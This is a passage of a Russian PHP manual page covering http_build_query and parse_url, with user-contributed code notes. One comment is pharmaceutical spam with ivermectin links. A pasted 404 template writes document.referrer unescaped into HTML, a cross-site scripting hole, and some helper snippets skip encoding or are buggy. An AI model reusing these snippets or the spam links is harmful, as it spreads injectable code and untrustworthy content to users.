  • parse_url() - Разбирает URL и возвращает его компоненты
  • urlencode() - URL-кодирование строки
  • array_walk() - Применяет заданную пользователем функцию к каждому элементу массива

User Contributed Notes

drewdeveloperthomas at gmail dot com 03-Jun-2020 04:52
It's not mentioned in the documentation, but when calling http_build_query on an object, public null fields are ignored.

<?php

class A {
    public int $publicNotNull;
    public ?int $publicNull;
    private string $privateNotNull;

    public function __construct()
    {
        $this->publicNotNull = 2;
        $this->privateNotNull = "Test";
    }
}

$a = new A();
echo http_build_query($a); // publicNotNull=2
?>
Sergei S. 06-Jun-2019 08:23
Number to string conversion occured in <?php http_build_query() ?> is affected by locale settings, which might not be obvious.

<?php
$params = ["v" => 5.63];

setlocale(LC_ALL, 'us_En');
http_build_query($params) // v=5.63

setlocale(LC_ALL, 'ru_RU');
http_build_query($params) // v=5,63 mind the comma
?>
rishad at kaluma dot com 20-Nov-2018 03:42
When using http_build_query($args) where $args is an array; note that there is a limit to the size of array. See max_input_vars in your php.ini to increase this size.
shaun at slickdesign dot com dot au 08-Feb-2018 01:26
While http_build_query can also be used to encode most classes, into a query string, SimpleXML Elements with <![CDATA[]]> values are picked up as empty arrays, and therefore aren't included naturally.

<?php
$xml = simplexml_load_string( '<wrapper><key><![CDATA[value]]></key><key2>value2</key2></wrapper>' );
var_dump( $xml, http_build_query( $xml ) );
/* Outputs:
object(SimpleXMLElement)#1 (2) {
  ["key"]=>
  object(SimpleXMLElement)#2 (0) {
  }
  ["key2"]=>
  string(6) "value2"
}
string(11) "key2=value2"
*/
?>
flavio at agenciaeme dot com dot br 05-Jan-2018 04:39
if you send boolean values it transform in integer :

$a = [teste1= true,teste2=false];
echo http_build_query($a)

//result will be teste1=1&teste2=0
chat dot noir at arcor dot de 23-Aug-2017 02:51
If you need the inverse functionality, and (like me) you cannot use pecl_http, you may want to use something akin to the following.

<?php function http_parse_query($Query) {

// mimic the behavior of $_GET, see also RFC 1738 and 3986.
$Delimiter = ini_get('arg_separator.input');
$Params    = array();

foreach (explode($Delimiter, $Query) as $NameValue) {
    preg_match(
        '/^(?P<name>[^=\[]*)(?P<indices_present>\[(?P<indices>[^\]]*(\]\[[^\]]*)*)\]?)?(?P<value_present>=(?P<value>.*))?$/',
        $NameValue,
        $NameValueParts
    );

    if (!empty($NameValueParts)) {
        $Param =& $Params[$NameValueParts['name']];

        if (!empty($NameValueParts['indices_present'])) {
            $Indices = explode('][', $NameValueParts['indices']);

            foreach ($Indices as $Index) {
                if (!is_array($Param)) {
                    $Param = array();
                }

                if ($Index === '') {
                    $Param[] = array();
                    end($Param);
                    $Param =& $Param[key($Param)];
                } else {
                    if (ctype_digit($Index)) { $Index  = (int) $Index;  }

                    if (!array_key_exists($Index, $Param)) {
                        $Param[$Index] = array();
                    }
                    $Param =& $Param[$Index];
                }
            }
        }

        if (!empty($NameValueParts['value_present'])) {
            $Param = urldecode($NameValueParts['value']);
        } else {
            $Param = '';
        }
    }
}

return $Params;

}?>
rmaslo at archa dot cz 20-Feb-2017 12:27
Warning: Different arrays may return the same result

<CODE>
$a1 = array('x[y]' => array('a'=>1));
$a2 = array('x' => array('y' => array('a'=>1)));
$q1 = http_build_query($a1);
$q2 = http_build_query($a2);
var_dump($a1);
echo '<BR>';
var_dump($a2);
echo '<BR>';
echo $q1;
echo '<BR>';
echo $q2;
echo '<BR>';
</CODE>

Result:
array(1) { ["x[y]"]=> array(1) { ["a"]=> int(1) } }
array(1) { ["x"]=> array(1) { ["y"]=> array(1) { ["a"]=> int(1) } } }
x%5By%5D%5Ba%5D=1
x%5By%5D%5Ba%5D=1
joelhy 01-Feb-2016 03:22
Params with false value will be changed to zero in result string.

<?php
$arr = ['foo' => false];
echo http_build_query($arr);
?>

will produce:

foo=0
itsadok at gmail dot com 17-Nov-2015 06:47
Passing null to $arg_separator is the same as passing an empty string, which is probably not what you want.

If you need to change the enc_type, use this:

    http_build_query($query, null, '&', PHP_QUERY_RFC3986);

Or possibly this:

    http_build_query($query, null, ini_get('arg_separator.output'), PHP_QUERY_RFC3986);

But not this:

    // BAD CODE!
    http_build_query($query, null, null, PHP_QUERY_RFC3986);
james at dimensionengineering dot com 15-Jul-2015 11:04
Be careful about Example 1 -- it is exactly how *not* to implement things.

& as a separator is the URL encoding.
&amp; is HTML encoding.

You should HTML encode your URL if embedding it in a web page. This is more involved than just replacing & with &amp;. Doing as this example suggests is a security hole waiting to happen.
joey dot qiang at innomative dot com 12-Jun-2015 04:35
Not recommending to eliminate the numeric indices like:
'arg[0]' --> 'arg[]'

The reason is this function will not include null values in the result string:

        $data = array(
            'arg' => array(
                null,
                2,
                3
            )
        );
        echo http_build_query($data);

The output is something like "arg[1]=2&arg[2]=3";
Mark Simon 01-Mar-2015 10:41
As noted, this function omits keys with null values. This could break some code which treats the key as boolean, and so has no value, or other code expecting the array to be populated regardless of value.

A workaround for this is to replace the null values with an empty string:

    $data=array(
        'a'=>'apple',
        'b'=>2,
        'c'=>null,
        'd'=>'...',
    );

    //    Compensate for fact that http_build_query omits null values
        foreach($data as &$datum) if($datum===null) $datum='';

Losing the null-ness of the original is no real loss if it's supposed to be a real query string. If the null is important, you could use a dummy value instead.

Mark
jakub dot lopuszanski at nasza-klasa dot pl 10-Dec-2013 10:41
While this is not documented, this http_build_query can return FALSE on some inputs:
<?php
  //gives bool(false)
  var_dump(http_build_query('whatever'));
?>
Kirils Solovjovs 16-Jul-2013 08:51
instead of some other suggestions that did not work for me, I found that the best way to build POST content (e.g. for stream_context_create) is urldecode(http_build_query($query))
Vitaly Dyatlov 23-Apr-2013 11:27
Correct implementation of coding the array of params without indexes (valdikks fixed code - didnt work for inner arrays):

<code>
function cr_post($a,$b='',$c=0)
        {
            if (!is_array($a)) return false;
            foreach ((array)$a as $k=>$v)
            {
                if ($c)
                {
                    if( is_numeric($k) )
                        $k=$b."[]";
                    else
                        $k=$b."[$k]";
                }
                else
                {   if (is_int($k))
                        $k=$b.$k;
                }

                if (is_array($v)||is_object($v))
                {
                    $r[]=cr_post($v,$k,1);
                        continue;
                }
                $r[]=urlencode($k)."=".urlencode($v);
            }
            return implode("&",$r);
        }
</code>
eric dot muyser at gmail dot com 01-Apr-2013 10:45
This function makes like this

files[0]=1&files[1]=2&...

To do it like this:

files[]=1&files[]=2&...

Do this:

        $query = http_build_query($query);
        $query = preg_replace('/%5B[0-9]+%5D/simU', '%5B%5D', $query);
stocki dot r at gmail dot com 01-Mar-2013 03:38
If you need only key+value pairs, you can use this:

<?php
    $array = array(
        "type" => "welcome",
        "message" => "Hello World!"
    );
    echo urldecode(http_build_query($array, '', ';'));
?>

Result: type=welcome;message=Hello World!
anonymous 19-Jul-2012 03:57
Is it worth noting that if query_data is an associative array and a value is itself an empty array, or an array of nothing but empty array (or arrays containing only empty arrays etc.), the corresponding key will not appear in the resulting query string?
E.g.

$post_data = array('name'=>'miller', 'address'=>array('address_lines'=>array()), 'age'=>23);
echo http_build_query($post_data);

will print
name=miller&age=23
Anonymous 08-Feb-2011 12:11
As noted before, with php5.3 the separator is &amp; on some servers it seems. Normally if posting to another php5.3 machine this will not be a problem.

But if you post to a tomcat java server or something else the &amp; might not be handled properly.

To overcome this specify:

http_build_query($array, '', '&');

and NOT

http_build_query($array); //gives &amp; to some servers
v0idnull[try_to_spam_me_now] at gee-mail dot co 11-Mar-2010 11:51
on my install of PHP 5.3, http_build_query() seems to use &amp; as the default separator. Kind of interesting when combined with stream_context_create() for a POST request, and getting $_POST['amp;fieldName'] on the receiving end.
irish [-@-] ytdj [-dot-] ca 21-Jan-2010 01:31
When using the http_build_query function to create a URL query from an array for use in something like curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url), be careful about the url encoding.

In my case, I simply wanted to pass on the received $_POST data to a CURL's POST data, which requires it to be in the URL format.  If something like a space [ ] goes into the http_build_query, it comes out as a +. If you're then sending this off for POST again, you won't get the expected result.  This is good for GET but not POST.

Instead you can make your own simple function if you simply want to pass along the data:

<?php
$post_url = '';
foreach ($_POST AS $key=>$value)
    $post_url .= $key.'='.$value.'&';
$post_url = rtrim($post_url, '&');
?>

You can then use this to pass along POST data in CURL.

<?php
    $ch = curl_init($some_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url);
    curl_exec($ch);
?>

Note that at the final page that processes the POST data, you should be properly filtering/escaping it.
netrox at aol dot com 26-Aug-2009 07:24
I noticed that even with the magic quotes disabled, http_build_query() automagically adds slashes to strings.

So, I had to add "stripslashes" to every string variable.
valdikss at gmail dot com 27-Aug-2007 01:15
This function is wrong for http!
arrays in http is like this:

files[]=1&files[]=2&...

but function makes like this

files[0]=1&files[1]=2&...

Here is normal function:

<?php
function cr_post($a,$b=\'\',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b.\"[]\"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=cr_post($v,$k,1);continue;}
$r[]=urlencode($k).\"=\".urlencode($v);}return implode(\"&\",$r);}
?>
Ilya Rudenko 09-Jan-2006 11:57
Params with null value do not present in result string.

<?php
$arr = array('test' => null, 'test2' => 1);
echo http_build_query($arr);
?>

will produce:

test2=1


Разбирает URL и возвращает его компоненты

  • « http_build_query
  • rawurldecode »
  • PHP Manual
  • Функции URL
  • Разбирает URL и возвращает его компоненты

parse_url

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_url — Разбирает URL и возвращает его компоненты

Описание

parse_url(string $url, int $component = -1): int|string|array|null|false

Эта функция разбирает URL и возвращает ассоциативный массив, содержащий все компоненты URL, которые в нём присутствуют. Элементы массива не будут декодированы как URL.

Эта функция не предназначена для проверки на корректность данного URL, она только разбивает его на нижеперечисленные части. Частичные и недопустимые URL также принимаются, parse_url() пытается сделать всё возможное, чтобы разобрать их корректно.

Список параметров

url

URL для разбора.

component

Укажите одну из констант PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY или PHP_URL_FRAGMENT, чтобы получить только конкретный компонент URL в виде строки (string). Исключением является указание PHP_URL_PORT, в этом случае возвращаемое значение будет типа int.

Возвращаемые значения

При разборе значительно некорректных URL-адресов parse_url() может вернуть false.

Если параметр component будет опущен, функция возвратит ассоциативный массив (array). В массиве будет находиться по крайней мере один элемент. Возможные ключи в этом массиве:

  • scheme - например, http
  • host
  • port
  • user
  • pass
  • path
  • query - после знака вопроса ?
  • fragment - после знака решётки #

Если параметр component определён, функция parse_url() вернёт строку (string) (или число (int), в случае PHP_URL_PORT) вместо массива (array). Если запрошенный компонент не существует в данном URL, будет возвращён null. Начиная с PHP 8.0.0, parse_url() различает отсутствующие и пустые запросы и фрагменты:

http://example.com/foo > query = null, fragment = null
http://example.com/foo? > query = "",   fragment = null
http://example.com/foo# > query = null, fragment = ""
http://example.com/foo?# > query = "",   fragment = ""

Ранее во всех случаях запрос и фрагмент были null.

Обратите внимание, что управляющие символы (смотрите ctype_cntrl()) в компонентах заменяются подчёркиванием (_).

Список изменений

Версия | Описание
8.0.0 | parse_url() теперь различает отсутствующие и пустые запросы и фрагменты.

Примеры

Пример #1 Пример использования parse_url()

<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

Результат выполнения данного примера:

array(8) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(8) "hostname"
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username"
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(9) "arg=value"
  ["fragment"]=>
  string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

Пример #2 Пример использования parse_url() при отсутствии протокола

<?php
$url = '//www.example.com/path?googleguy=googley';

// До 5.4.7 в path выводилось "//www.example.com/path"
var_dump(parse_url($url));
?>

Результат выполнения данного примера:

array(3) {
  ["host"]=>
  string(15) "www.example.com"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(17) "googleguy=googley"
}

Примечания

Предостережение

Функция может выдать некорректные результаты для относительных или недействительных URL-адресов и результаты могут даже не соответствовать общему поведению HTTP-клиентов. Если необходимо проанализировать URL-адреса из ненадёжных входных данных, потребуется дополнительная проверка, например, с помощью filter_var() с фильтром FILTER_VALIDATE_URL.

Замечание:

Эта функция предназначена специально для разбора URL-адресов, а не URI. Однако, чтобы соответствовать требованиям обратной совместимости PHP, она делает исключение для протокола file://, в которой допускаются тройные слеши (file:///...). Для любого другого протокола это недопустимо.

Смотрите также

  • pathinfo() - Возвращает информацию о пути к файлу
  • parse_str() - Разбирает строку в переменные
  • http_build_query() - Генерирует URL-кодированную строку запроса
  • dirname() - Возвращает имя родительского каталога из указанного пути
  • basename() - Возвращает последний компонент имени из указанного пути
  • » RFC 3986

User Contributed Notes

JosephDor 06-May-2023 07:26
Hello!  <a href=https://stromectolxf.online/>ivermectin 24 mg</a> excellent website https://stromectolrf.top
pjpawel 19-Apr-2022 08:06
Unfortunately parse_url() DO NOT parse correctly urls without scheme or '//'. For example 'www.xyz.com' is consider as path not host:

Code:
<?php
var_dump(parse_url('www.xyz.com'));
?>
Output:
array(1) {
["path"]=>
string(10) "www.xyz.com"
}

To get better output change url to:
'//www.xyz.com' or 'http://www.xyz.com'
kibblewhite+php at live dot com 19-Feb-2021 06:11
This function 'parse_rebuild_url' will parse and reassemble your URL with new values provided by the 'overwrite_parsed_url_array' back together.
It is also possible to overwrite the URL components by key name and to merge or overwrite query parameters.
<?php

    $test_url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3&z=9#myfragment';

    $new_url_01_overwrite_query_params = parse_rebuild_url( $test_url, array(
        'host' => 'new-hostname.tld',
        'query' => array(
            'test' => 'Hello World',
            'a'    => array( 'c', 'd' ),
            'z'    => 8
        ),
        'fragment' => 'new-fragment-value'
    ), false );

    $new_url_02_mergewith_query_params = parse_rebuild_url( $test_url, array(
        'query' => array(
            'test' => 'Hello World',
            'a'    => array( 'c', 'd' ),
            'z'     => 8
        ),
        'fragment' => 'new-fragment-value'
    ), true );

    function parse_rebuild_url( $url, $overwrite_parsed_url_array, $merge_query_parameters = true ) {

        $parsed_url_array = parse_url( $url );
        $parsed_url_keys_array = array(
            'scheme'        => null,
            'abempty'       => isset( $parsed_url_array['scheme'] ) ? '://' : null,
            'user'          => null,
            'authcolon'     => isset( $parsed_url_array['pass'] ) ? ':' : null,
            'pass'          => null,
            'authat'        => isset( $parsed_url_array['user'] ) ? '@' : null,
            'host'          => null,
            'portcolon'     => isset( $parsed_url_array['port'] ) ? ':' : null,
            'port'          => null,
            'path'          => null,
            'param'         => isset( $parsed_url_array['query'] ) ? '?' : null,
            'query'         => null,
            'hash'          => isset( $parsed_url_array['fragment'] ) ? '#' : null,
            'fragment'      => null
        );

        if ( isset( $parsed_url_array['query'] ) && $merge_query_parameters === true ) {
            parse_str( $parsed_url_array['query'], $query_array );
            $overwrite_parsed_url_array['query'] = array_merge_recursive( $query_array, $overwrite_parsed_url_array['query'] );
        }

        $query_parameters = http_build_query( $overwrite_parsed_url_array['query'], null, '&', PHP_QUERY_RFC1738 );
        $overwrite_parsed_url_array['query'] = urldecode( preg_replace( '/%5B[0-9]+%5D/simU', '%5B%5D', $query_parameters ) );

        $fully_parsed_url_array = array_filter( array_merge( $parsed_url_keys_array, $parsed_url_array, $overwrite_parsed_url_array ) );
        return implode( null, $fully_parsed_url_array );

    }
vbrazas15 at gmail dot com 18-Feb-2021 01:10
My hamble improvements to the famouse `unparse_url` function by "thomas at gielfeldt dot com":

```php
    /**
     * @param array $parsedUrl -- result of the library `parse_url()` function
     *
     * @return string
     */
    function unparseUrl(array $parsedUrl): string
    {
        // PHP_URL_SCHEME
        $scheme = empty($parsedUrl[PHP_URL_SCHEME]) ? '' : (rtrim($parsedUrl['scheme'], ':/') . '://');

        $user = empty($parsedUrl[PHP_URL_USER]) ? '' : rtrim($parsedUrl['user'], '@:');
        $pass = empty($parsedUrl[PHP_URL_PASS]) ? '' : (':' . trim($parsedUrl['pass'], '@:'));

        $pass = !$user ? '' : ($pass . '@');

        $host = empty($parsedUrl[PHP_URL_HOST]) ? '' : rtrim($parsedUrl['host'], '/');
        $port = empty($parsedUrl[PHP_URL_PORT]) ? '' : (':' . (int)ltrim($parsedUrl['port'], ':'));
        $path = empty($parsedUrl[PHP_URL_PATH]) ? '' : ('/' . ltrim($parsedUrl['path'], '/'));

        $host = ($host && !$port && !$path) ? $parsedUrl['host'] : $host;
        $path = ($path && !$host && !$port) ? $parsedUrl['path'] : $path;

        $query = empty($parsedUrl[PHP_URL_QUERY]) ? '' : ('?' . ltrim($parsedUrl['query'], '?'));
        $fragment = empty($parsedUrl[PHP_URL_FRAGMENT]) ? '' : ('#' . ltrim($parsedUrl['fragment'], '#'));

        return "$scheme$user$pass$host$port$path$query$fragment";
    }
```
simbappo 15-Sep-2020 05:17
unset a query var from passed in or current URL:

function unsetqueryvar($var, $url=null) {
    if (null == $url) $url = $_SERVER['REQUEST_URI'];
    //mogrify to list
    $url = parse_url($url);
    $rq = [];
    parse_str($url['query'], $rq);
    unset($rq[$var]);
    return $url['scheme'].$url['host'].$url['path'].'?'.http_build_query($rq).$url['fragment'];
}
boctulus @ gmail co!m 27-Oct-2019 01:39
parse_url() does not parse some obvious errors so I made a complementary function

function url_check(string $url){
        $sym = null;

        $len = strlen($url);
        for ($i=0; $i<$len; $i++){
            if ($url[$i] == '?'){
                if ($sym == '?' || $sym == '&')
                    return false;

                $sym = '?';
            }elseif ($url[$i] == '&'){
                if ($sym === null)
                    return false;

                $sym = '&';
            }
        }
        return true;
    }
}
Michael 30-Jun-2019 06:52
There's a quirk where this function will return the host as the "path" if there is a leading space.

<?php

$url = ' https://foobar.com:80/mypath/myfile.php';

print_r(parse_url($url));
/*
Array
(
    [path] =>  https://foobar.com:80/mypath/myfile.php
)
*/

print_r(trim(parse_url($url)));
/*
Array
(
    [scheme] => https
    [host] => foobar.com
    [port] => 80
    [path] => /mypath/myfile.php
)
*/

?>
bramg dot net1 at gmail dot com 21-Sep-2018 10:07
this is my 404 error page is this ok  or it need improvements

<?php
/**
 * 404.php
 *
 * The template for displaying 404 pages (not found)
 *
 * @author    BetterStudio
 * @package   Publisher
 * @version   2.0.2
 */

get_header();

// Shows breadcrumb
if ( publisher_show_breadcrumb() ) {
    Better_Framework()->breadcrumb()->generate( array(
        'before'       => '<div class="container bf-breadcrumb-container">',
        'after'        => '</div>',
        'custom_class' => 'bc-top-style'
    ) );
}

?>
    <div class="content-wrap">
        <main <?php publisher_attr( 'content', '' ); ?>>

            <div class="container layout-1-col layout-no-sidebar">
                <div class="row main-section">

                    <div class="content-column content-404">

                        <div class="row first-row">

                            <div class="col-lg-12 text-404-section">
                                <p class="text-404 heading-typo">404</p>
                            </div>

                            <div class="col-lg-12 desc-section">
                                <h1 class="title-404"><?php publisher_translation_echo( '404_not_found' ); ?></h1>
                                <p><?php publisher_translation_echo( '404_not_found_message' ); ?></p>
                                <div class="action-links clearfix">

                                    <script type="text/javascript">
                                        if (document.referrer) {
                                            document.write('<div class="search-action-container"><a href="' + document.referrer + '"><i class="fa fa-angle-double-right"></i> <?php publisher_translation_echo( '404_go_previous_page' ); ?></a></div>');
                                        }
                                    </script>

                                    <div class="search-action-container">
                                        <a href="<?php echo esc_url( home_url( '/' ) ); ?>"><i
                                                    class="fa fa-angle-double-right"></i> <?php publisher_translation_echo( '404_go_homepage' ); ?>
                                        </a>
                                    </div>
                                </div>
                            </div>

                        </div><!-- .first-row -->

                        <div class="row second-row">
                            <div class="col-lg-12">
                                <div class="top-line">
                                    <?php get_search_form(); ?>
                                </div>
                            </div>
                        </div><!-- .second-row -->

                    </div><!-- .content-column -->

                </div><!-- .main-section -->
            </div> <!-- .layout-1-col -->

        </main><!-- main -->
    </div><!-- .content-wrap -->

<?php get_footer(); ?>

https://bramg.net
Anonymous 26-Feb-2018 12:33
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
https://vb.3dlat.com/
Anonymous 30-Dec-2017 07:47
This function will attempt to parse relative URLs but relaying on it can produce unexpected behavior that can cause some hard to track bugs. (The following results are obtained from PHP 5.5.19)

Attempting to parse a url like this
http://example.com/entities/GOA:98/?search=8989157d1f22
Correctly produces
<?php
array (
  'scheme' => 'http',
  'host' => 'example.com',
  'path' => '/entities/GOA:98/',
  'query' => 'search=8989157d1f22',
);
?>

However, Attempting to parse the relative URL
entities/GOA:98/?search=8989157d1f22
<?php
array (
  'host' => 'entities',
  'port' => 98,
  'path' => '/GOA:98/',
  'query' => 'search=8989157d1f22',
)
?>
If I change :98 to :A98 parse_url parses the URL correctly as
<?php
array (
  'path' => 'entities/GOA:A98/',
  'query' => 'search=8989157d1f22',
)
?>
Bottom line, Avoid using parse_url for relative urls unless you have tested the expected input and you know parse_url will handle them well.

https://forums.hawacastle.com/
Anonymous 03-Oct-2017 07:29
To get the params (url query) as Associative array, use this function:

<?php
/**
* Returns the url query as associative array
*
* @param    string    query
* @return    array    params
*/
function convertUrlQuery($query) {
    $queryParts = explode('&', $query);

    $params = array();
    foreach ($queryParts as $param) {
        $item = explode('=', $param);
        $params[$item[0]] = $item[1];
    }

    return $params;
}
?>
demerit 09-Aug-2017 12:06
There is a change in PHP 7 (I noticed it in 7.1 upgrading from 5.3) where if the password portion has an octothorpe (#) in it, parsing fails in 7.1, whereas it succeeds in 5.3.
zappascripts at gmail com 17-Jul-2017 01:30
Here's a simple class I made that makes use of this parse_url.
I needed a way for a page to retain get parameters but also edit or add onto them.
I also had some pages that needed the same GET paramaters so I also added a way to change the path.

<?php
class Paths{

    private $url;
    public function __construct($url){
        $this->url = parse_url($url);
    }

    public function returnUrl(){
        $return = $this->url['path'].'?'.$this->url['query'];
        $return = (substr($return,-1) == "&")? substr($return,0,-1) : $return;
        $this->resetQuery();
        return $return;
    }

    public function changePath($path){
        $this->url['path'] = $path;
    }

    public function editQuery($get,$value){
        $parts = explode("&",$this->url['query']);
        $return = "";
        foreach($parts as $p){
            $paramData = explode("=",$p);
            if($paramData[0] == $get){
                $paramData[1] = $value;
            }
            $return .= implode("=",$paramData).'&';

        }

        $this->url['query'] = $return;
    }

    public function addQuery($get,$value){
        $part = $get."=".$value;
        $and = ($this->url['query'] == "?") ? "" : "&";
        $this->url['query'] .= $and.$part;
    }

    public function checkQuery($get){
        $parts = explode("&",$this->url['query']);

            foreach($parts as $p){
                $paramData = explode("=",$p);
                if($paramData[0] == $get)
                    return true;
            }
            return false;

    }

    public function buildQuery($get,$value){
        if($this->checkQuery($get))
            $this->editQuery($get,$value);
        else
            $this->addQuery($get,$value);

    }

    public function resetQuery(){
        $this->url = parse_url($_SERVER['REQUEST_URI']);
    }

}
?>

Useage:

Test.php?foo=1:

<?php
$path = new Paths($_SERVER['REQUEST_URI']);
$path->changePath("/baz.php");
$path->buildQuery("foo",2);
$path->buildQuery("bar",3);
echo $path->returnUrl();
?>

returns: /baz.php?foo=2&bar=3

Hope this is of some use to someone!
mys5droid at gmail dot com 20-Mar-2016 12:30
I have coded a function which converts relative URL to absolute URL for a project of mine. Considering I could not find it elsewhere, I figured I would post it here.

The following function takes in 2 parameters, the first parameter is the URL you want to convert from relative to absolute, and the second parameter is a sample of the absolute URL.

Currently it does not resolve '../' in the URL, only because I do not need it. Most webservers will resolve this for you. If you want it to resolve the '../' in the path, it just takes minor modifications.

<?php

function relativeToAbsolute($inurl, $absolute) {
    // Get all parts so not getting them multiple times :)
    $absolute_parts = parse_url($absolute);
    // Test if URL is already absolute (contains host, or begins with '/')
    if ( (strpos($inurl, $absolute_parts['host']) == false) ) {
        // Define $tmpurlprefix to prevent errors below
        $tmpurlprefix = "";
        // Formulate URL prefix    (SCHEME)
        if (!(empty($absolute_parts['scheme']))) {
            // Add scheme to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['scheme'] . "://";
        }
        // Formulate URL prefix (USER, PASS)
        if ((!(empty($absolute_parts['user']))) and (!(empty($absolute_parts['pass'])))) {
            // Add user:port to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['user'] . ":" . $absolute_parts['pass'] . "@";
        }
        // Formulate URL prefix    (HOST, PORT)
        if (!(empty($absolute_parts['host']))) {
            // Add host to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['host'];
            // Check for a port, add if exists
            if (!(empty($absolute_parts['port']))) {
                // Add port to tmpurlprefix
                $tmpurlprefix .= ":" . $absolute_parts['port'];
            }
        }
        // Formulate URL prefix    (PATH) and only add it if the path to image does not include ./
        if ( (!(empty($absolute_parts['path']))) and (substr($inurl, 0, 1) != '/') ) {
            // Get path parts
            $path_parts = pathinfo($absolute_parts['path']);
            // Add path to tmpurlprefix
            $tmpurlprefix .= $path_parts['dirname'];
            $tmpurlprefix .= "/";
        }
        else {
            $tmpurlprefix .= "/";
        }
        // Lets remove the '/'
        if (substr($inurl, 0, 1) == '/') { $inurl = substr($inurl, 1); }
        // Lets remove the './'
        if (substr($inurl, 0, 2) == './') { $inurl = substr($inurl, 2); }
        return $tmpurlprefix . $inurl;
    }
    else {
        // Path is already absolute. Return it :)
        return $inurl;
    }
}

// Define a sample absolute  URL
$absolute = "http://" . "user:pass@example.com:8080/path/to/index.html"; // Just evading php.net spam filter, not sure how example.com is spam...

/* EXAMPLE 1 */
echo relativeToAbsolute($absolute, $absolute) . "\n";
/* EXAMPLE 2 */
echo relativeToAbsolute("img.gif", $absolute) . "\n";
/* EXAMPLE 3 */
echo relativeToAbsolute("/img.gif", $absolute) . "\n";
/* EXAMPLE 4 */
echo relativeToAbsolute("./img.gif", $absolute) . "\n";
/* EXAMPLE 5 */
echo relativeToAbsolute("../img.gif", $absolute) . "\n";
/* EXAMPLE 6 */
echo relativeToAbsolute("images/img.gif", $absolute) . "\n";
/* EXAMPLE 7 */
echo relativeToAbsolute("/images/img.gif", $absolute) . "\n";
/* EXAMPLE 8 */
echo relativeToAbsolute("./images/img.gif", $absolute) . "\n";
/* EXAMPLE 9 */
echo relativeToAbsolute("../images/img.gif", $absolute) . "\n";

?>

OUTPUTS:
http :// user:pass@example.com:8080/path/to/index.html
http :// user:pass@example.com:8080/path/to/img.gif
http :// user:pass@example.com:8080/img.gif
http :// user:pass@example.com:8080/path/to/img.gif
http :// user:pass@example.com:8080/path/to/../img.gif
http :// user:pass@example.com:8080/path/to/images/img.gif
http :// user:pass@example.com:8080/images/img.gif
http :// user:pass@example.com:8080/path/to/images/img.gif
http :// user:pass@example.com:8080/path/to/../images/img.gif

Sorry if the above code is not your style, or if you see it as "messy" or you think there is a better way to do it. I removed as much of the white space as possible.

Improvements are welcome :)
Rob 21-Apr-2015 12:27
I've been working on a generic class that would make URI parsing / building a little easier.

The composer package is here: https://packagist.org/packages/enrise/urihelper

And the repository is here: https://github.com/Enrise/UriHelper

An example of the usage:

<?php
$uri = new \Enrise\Uri('http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment');
echo $uri->getScheme(); // http
echo $uri->getUser(); // usr
echo $uri->getPass(); // pss
echo $uri->getHost(); // example.com
echo $uri->getPort(); // 81
echo $uri->getPath(); // /mypath/myfile.html
echo $uri->getQuery(); // a=b&b[]=2&b[]=3
echo $uri->getFragment(); // myfragment
echo $uri->isSchemeless(); // false
echo $uri->isRelative(); // false

$uri->setScheme('scheme:child:scheme.VALIDscheme123:');
$uri->setPort(null);

echo $uri->getUri(); //scheme:child:scheme.VALIDscheme123:usr:pss@example.com/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment
?>
jerome at chaman dot ca 16-Jan-2015 10:53
It may be worth reminding that the value of the #fragment never gets sent to the server.  Anchors processing is exclusively client-side.
admin at griefer1999 dot uhostfull dot com 06-Jan-2015 06:46
<?php
function url_parse($url){
$sflfdfldf=$url;
if(strpos($url,"?")>-1){
$a=explode("?",$url,2);
$url=$a[0];
$query=$a[1];
}
if(strpos($url,"://")>-1){
$scheme=substr($url,0,strpos($url,"//")-1);
$url=substr($url,strpos($url,"//")+2,strlen($url));
}
if(strpos($url,"/")>-1){
$a=explode("/",$url,2);
$url=$a[0];
$path="/".$a[1];
}
if(strpos($url,":")>-1){
$a=explode(":",$url,2);
$url=$a[0];
$port=$a[1];
}
$host=$url;
$url=null;
foreach(array("url","scheme","host","port","path","query") as $var){
if(!empty($$var)){
$return[$var]=$$var;
}
}
//return array("url"=>$sflfdfldf,"scheme"=>$scheme,"host"=>$host,"port"=>$port,"path"=>$path,"query"=>$query,"a"=>$url);
return $return;
}
?>

<?php
/* Compare two outputs */
//mine
print_r(url_parse("http://login.yahoo.com?.src=ym&.intl=gb&.lang=zh-Hans-HK&.done=https://mail.yahoo.com"));
//internal
